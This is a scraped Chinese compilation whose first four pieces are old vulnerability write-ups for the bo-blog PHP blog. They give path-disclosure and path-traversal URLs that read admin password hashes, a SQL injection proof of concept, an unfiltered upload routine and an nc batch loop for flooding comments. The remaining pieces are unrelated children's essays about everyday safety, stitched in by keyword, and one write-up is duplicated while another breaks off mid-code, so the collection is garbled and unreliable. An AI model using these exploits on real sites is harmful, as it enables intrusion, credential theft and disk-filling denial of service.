“滚让一让”通过精心收集，向本站投稿了7篇关于boblog的安全隐患，下面是小编精心整理后的关于boblog的安全隐患，希望能够帮助到大家。
- 目录
篇1：关于boblog的安全隐患
bo-blog是一款外观好看，而且当前流行的个人博客系统，在很多下载站你都可以找到这套程序，而且甚至有很多安全界的人都使用着这套php+txt的程序，但是这套程序里有些安全隐患，可能会被人利用去做一些破坏， 首先开门见山，我们说说它的绝对路径暴露问题.......
bo-blog是一款外观好看，而且当前流行的个人博客系统，在很多下载站你都可以找到这套程序，而且甚至有很多安全界的人都使用着这套php+txt的程序，但是这套程序里有些安全隐患，可能会被人利用去做一些破坏。
首先开门见山，我们说说它的绝对路径暴露问题.........
只要提交地址：_blank>localhost/blog/index.php?m=2&y=/2005
就可以得到程序所在绝对路径!
这是php中很经常出现的问题!
现在我们在来看一段代码，这是showcat.php里的内容!
if (!file_exists(“$dirblog/$cat.php”)) {
wronginfo($langerrornocat);
}
unset ($allfiles);
$allfiles=@file(“$dirblog/$cat.php”);
看到了没有?他直接把cat.php没有处理就拿出来用了，而它又是怎么处理他拿出来的数据的呢?
for ($i=$start; $i<$end;$i++) {
$latest=explode(“|”,$allfiles[$i]);
$articleid=$latest[1];
$articlename=$latest[2];
$latest[3]=mktimezone($latest[3]);
$showtime=date(“Y-n-j”,$latest[3]);
这样，它将$cat提交来的文件打开，读出来，但是以|为分隔读出文件内容，因为以|读出文件内容却是从1开始的，所以我们读不出其他的文件，我们只能读文件里有|的文件的第一个|后面的数据。也就是说，假设我们知道用户所在目录的话，我们就可以提交_blank>localhost/blog/index.php?job=showcat&cat=../saiy/userid
便可以得到管理员的密码散列。
然后伪造cookies登陆，直接可以传后门了。但是前提是要知道目录名，所以这只限制于目录名了，但是假设对方站点上有其他的php+文本的程序，我们可以利用此文件读出隐秘内容，
我们再来说第二个问题，回复评论未限制时间，大家大概觉得这不算什么问题吧，看完代码不知道你还会这么想吗?
$replyauthor=safe_convert($replyauthor);
$remreplyauthor=$replyauthor;
if ($replyemail!=“”) $replyauthor.=“胃胃”.safe_convert($replyemail);
$replycontent=safe_convert($replycontent);
$simplecontent=preg_replace(“/[(.+?)]/is”, “”, $replycontent);
$simplecontent=preg_replace(“/<(.+?)>/is”, “”, $simplecontent);
$simplecontent=preg_replace(“/&(.+?);/is”, “”, $simplecontent);
$curexcerpt=msubstr($simplecontent,0,20);
$timestamp=time;
$areply=@readfromfile(“$dirblog/$articleid.rpl”);
writetofile(“$dirblog/$articleid.rpl”,$replycontent.“n|rep|n”.$areply);
writetofile(“$dirblog/list.php”,$all1);
updaterenum(1);
看到没有?居然也没对$articleid做过滤，大家觉得吓人吗?哦?你们觉得不怎么样?恐怕不好玩?我改改你再看看。
writetofile(“$dirblog/C:winntsystem32hacker.rpl”,$replycontent.“n|rep|n”.$areply);
呼，这样我们把一个垃圾文件写到系统目录下了。要么，写到管理员启动目录?一个N大无比的文本文件。
只要我们不停的提交数据，则不断的把文件写入了，假设你手头没有工具可以帮你提交，我教你个简单的，利用NC的方法!
首先，抓取你发表评论的包，存在NC所在目录下，命名为test.txt。这个大家都会做吧~~
再建立一个bat，命名为test.bat内容为：
nc www.test.com 80 cls
test.bat
呵呵，运行这个.bat文件它就会不停的发送评论了，开两个就是两个线程哦 ！
（本文由责任编辑 pasu 整理发布）
篇2：BoBlog 2.0.3 注射漏洞
BY Flyh4t
bbs.wolvez.org
上次硬盘坏了丢了很多数据
今天某兄弟生日
掏空我的记忆回想起来一个很老的漏洞
//inc/mod_tag.php
------------------------
if (!defined('VALIDREQUEST')) die ('Access Denied.');
if (!$job) $job='default';
else $job=basename($job);
$itemid=safe_convert($itemid);
acceptrequest('tag,rewrite');
if ($tag!=='') $job='show';
$tag=($config['smarturl']==1 && $config['urlrewrite']==1 && $rewrite==1) ? tagurldecode($tag) : $tag;
//缺省情况$config['smarturl']==1 && $config['urlrewrite']==1 这个条件是不成立的，所以不会调用tagurldecode函数
//要管理员使用urlrewite功能才可以
if ($job=='default') {
..........
}
if ($job=='show') {
acceptrequest('mode');
if ($mode==1 || $mode==2) $mbcon['tag_list']=$mode-1;
$m_b=new getblogs;
if ($tag==='') catcherror($lnc[192]);
//$tag 变量进入查询语句，但是需要一个单引号，我们恰好可以通过tagurldecode函数引入单引号
$allentries=$blog->getgroupbyquery(“SELECT * FROM `{$db_prefix}tags` WHERE `tagname`='{$tag}' LIMIT 0,1”);
if (!is_array($allentries[0]) || $allentries[0]['tagentry']=='
----------------------------$tag 变量进入查询语句是被单引号包围的，但是我们恰好可以通过tagurldecode函数引入单引号，看代码
function tagurlencode($str) {//编码函数
$str=urlencode($str);
$str=str_replace('-', '--', $str);
$str=str_replace('%', '-', $str);
return $str;
}
function tagurldecode($str) { //解码函数
$str=str_replace('-', '%', $str);
$str=str_replace('%%', '-', $str);
$str=urldecode($str);
return $str;
}这样我们就可以利用这个漏洞
--------------------
poc:
index.php?act=tag&job=show&rewrite=1&tag=aaaa-27
---------------
篇3：关于boblog 0DAY上传漏洞及修复
关注了下最近几位大牛网站被黑的消息，知道了是用bo-blog，就下了套2.1.1看看，发现了点问题，此程序和F2blog存在一样的上传bug，只是利用难了点，要一定权限。但结合社工就有用了
xmlrpc.php
function metaWeblog_newMediaObject ($values) { //2006-12-2 add support for uploading files
global $config, $defualtcategoryid, $db_prefix, $mbcon, $nowtime;
$userdetail=check_user ($values[username], $values[password]); //有判断权限
$struct=$values[struct];
//writetofile (text1.php, $struct[bits]); //debug only
if ($struct[bits] && $struct[name]) {
$writefilecontent=base64_decode($struct[bits]);
$ext=strtolower(strrchr($struct[name],.));
$ext=str_replace(“.”, , $ext); //没有过滤后缀
$upload_filename=time._.rand(1000, 9999).substr(md5($struct[name]), 0, 4)...$ext;
if ($mbcon[uploadfolders]==1) {
$targetfolder_ym=date(“Ym”)./;
$targetfolder=“attachment/{$targetfolder_ym}”;
if (!is_dir ($targetfolder)) {
$mktargetfolder=@mkdir($targetfolder, 0777);
if (!$mktargetfolder) xml_error (“Sorry, uploading file ({$struct[name]}) failed because PHP was unable to create a new directory.”);
}
} else {
$targetfolder_ym=;
$targetfolder=attachment;
}
$filenum=@fopen(“{$targetfolder}/{$upload_filename}”,“wb”);
if (!$filenum) {
xml_error (“Sorry, uploading file ({$struct[name]}) failed.”);
}
flock($filenum,LOCK_EX);
fwrite($filenum,$writefilecontent);
fclose($filenum);
//DB updating, new function in 2.1.0
$blog=new boblog;
$blog->query(“INSERT INTO `{$db_prefix}upload` (fid,filepath,originalname,uploadtime,uploaduser) VALUES (null, ”attachment/{$targetfolder_ym}{$upload_filename}“, ”{$struct[name]}“, {$nowtime[timestamp]}, {$userdetail[userid]})”);
$currentid=db_insert_id();
if ($mbcon[wmenable]==1) { //Add watermark
$imgext_watermark=array(jpg, gif, png);
if (in_array($ext, $imgext_watermark)) {
create_watermark(“attachment/{$targetfolder_ym}{$upload_filename}”);
}
}
}
$xml_content=make_xml_piece (“struct”, array(url=>“{$config[blogurl]}/attachment.php?fid={$currentid}”));
$body_xml=xml_generate($xml_content);
send_response ($body_xml);
}
function checkuser($username, $password) {
global $db_prefix;
$blog=new bobl
篇4：BoBlog 2.0.3 注射漏洞
BY Flyh4t
bbs.wolvez.org
上次硬盘坏了丢了很多数据
今天某兄弟生日
掏空我的记忆回想起来一个很老的漏洞
//inc/mod_tag.php
------------------------
if (!defined('VALIDREQUEST')) die ('Access Denied.');
if (!$job) $job='default';
else $job=basename($job);
$itemid=safe_convert($itemid);
acceptrequest('tag,rewrite');
if ($tag!=='') $job='show';
$tag=($config['smarturl']==1 && $config['urlrewrite']==1 && $rewrite==1) ? tagurldecode($tag) : $tag;
//缺省情况$config['smarturl']==1 && $config['urlrewrite']==1 这个条件是不成立的，所以不会调用tagurldecode函数
//要管理员使用urlrewite功能才可以
if ($job=='default') {
..........
}
if ($job=='show') {
acceptrequest('mode');
if ($mode==1 || $mode==2) $mbcon['tag_list']=$mode-1;
$m_b=new getblogs;
if ($tag==='') catcherror($lnc[192]);
//$tag 变量进入查询语句，但是需要一个单引号，我们恰好可以通过tagurldecode函数引入单引号
$allentries=$blog->getgroupbyquery(“SELECT * FROM `{$db_prefix}tags` WHERE `tagname`='{$tag}' LIMIT 0,1”);
if (!is_array($allentries[0]) || $allentries[0]['tagentry']==' ----------------------------
篇5：安全隐患
今天，老师带我们小记者们来到了市消防支队特勤中队。一进去就能看到有许多的消防车和消防员，他们站得笔直笔直的。
一位消防员叔叔，领着我们来到操场中央。消防员叔叔先给我们介绍了灭火、抢险需要使用的工具。然后又带我们来比赛穿消防衣，女生队派出了陈虹宇，男生队派出了一位强健有力的男生。一位消防员叔叔说：“一二三开始。”男生队一下就穿好了鞋子和衣服，我们女生队也不落后，马上就赶上了男生。等我们赶上男生队的时侯，男生队已经赢了。我们不服气，又派了个力气大的。男生队也派了个力气大的。比赛又开始了，这次女生队领先。不过，她的衣服和帽子没穿好。所以这一次的机会又让给了男生。
现在领队的叔叔又要来介绍消防车了，一共有六辆消防车，有许多人爬上了消防车。其中两辆消防车的载水量是六吨。消防员还给我们演示了一遍，首先三个消防员站在消防车后，然后快速地把水管接上，水突然就喷了出来，这时的天空就像下了一场大雨似的。接下来我们要上楼了，听说，他们能叠出豆腐一样的被子。我们好奇地上了楼，消防员先横叠三下，再竖叠四下。这个豆腐一样的被子就叠好了。
我一定要把这次学到的消防知识牢记在心中，把它传授给更多的人，让他们远离安全隐患。
篇6：安全隐患
我们小学生是社会上最忙碌的人群之一，也是最受关注和爱护的人群之一。可是尽管如此，我们还是成了最容易受到“伤害”的人群之一。我们身边“危机四伏”，因为我们的好奇心会使我们做出一些“愚蠢”的事，我们还未发育成熟身体不能应对一些外界的伤害。最近，我们学校又发生了几起“惊心动魄”的“惨案”，都是因为同学们的调皮，或者不注意安全发生的。
老师们和家长们不断地嘱咐我们要小心仔细，可是当大家伙聚在一起时那快乐劲早就把大人们的话抛到九霄云外了。其实，上学放心爸爸妈妈还有爷爷奶奶坚持接送的原因不光是给我们节约时间，最主要的是怕交通安全问题。即使他们如此呵护、如此照顾，但是有太多的时间我们是不在他们的视线范围内，所以一定要学会自己保护自己，自己不去做那些危险的事。
下面我给大家说一个真实的事件，我爸爸上初中时，他的同桌很调皮，老是喜欢捉弄人。有一次，班长喊起立时，他的同桌把前面同学凳子挪开了，当坐下时，那个同学还无防备，狠狠地摔下去，出于本能的反应用她用手往后撑，结果骨头断裂了。这样的例子数不胜数，说起它只是为了更好提醒大家，千万要管住自己的好奇心和好动的身体，让危险远离我们。
我们是爸爸妈妈的希望，是祖国的未来，让我们健康快乐的成长起来吧！
篇7：安全隐患
在平静的宁夏省石嘴山市大武口区的思源小区，依然有安全隐患。在本年度的秋天，有一位叫高盈莹的幼儿在和自己的姐姐当秋千，忽然这名幼儿突然摔下来。在姐姐的帮助下她止住了血，搞得这名儿童脚趾蹭掉一块肉。搞得她的母亲花了几百元治疗费，仔细检查秋千上有个部位随坏。所以应该惩治这些偷工减料做豆腐渣工程。所以我决定让大家一起发动大家开始观察这种做豆腐渣工程的人。
石嘴山市第十五小学二年级：刘筱硕
★ 安全隐患自查报告
★ 安全隐患通知
★ 安全隐患的标语
★ 安全隐患排查制度
★ 城市安全隐患防范
★ 安全隐患整改报告
★ 安全隐患整改方案
关于boblog的安全隐患（精选7篇）
